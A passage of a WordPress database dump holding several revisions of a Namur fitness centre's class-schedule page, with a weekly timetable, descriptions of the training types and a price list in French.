Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:36:41', '2014-12-15 19:36:41', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(463, 1, '2014-12-15 19:41:10', '2014-12-15 19:41:10', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills.png\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-461\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills.png\&quot; width=\&quot;90\&quot;/&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:41:10', '2014-12-15 19:41:10', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(464, 1, '2014-12-15 19:42:49', '2014-12-15 19:42:49', '', 'LesMills', '', 'inherit', 'open', 'open', '', 'lesmills-2', '', '', '2014-12-15 19:42:49', '2014-12-15 19:42:49', '', 363, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png', 0, 'attachment', 'image/png', 0),
(465, 1, '2014-12-15 19:43:23', '2014-12-15 19:43:23', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;140\&quot; height=\&quot;30\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td 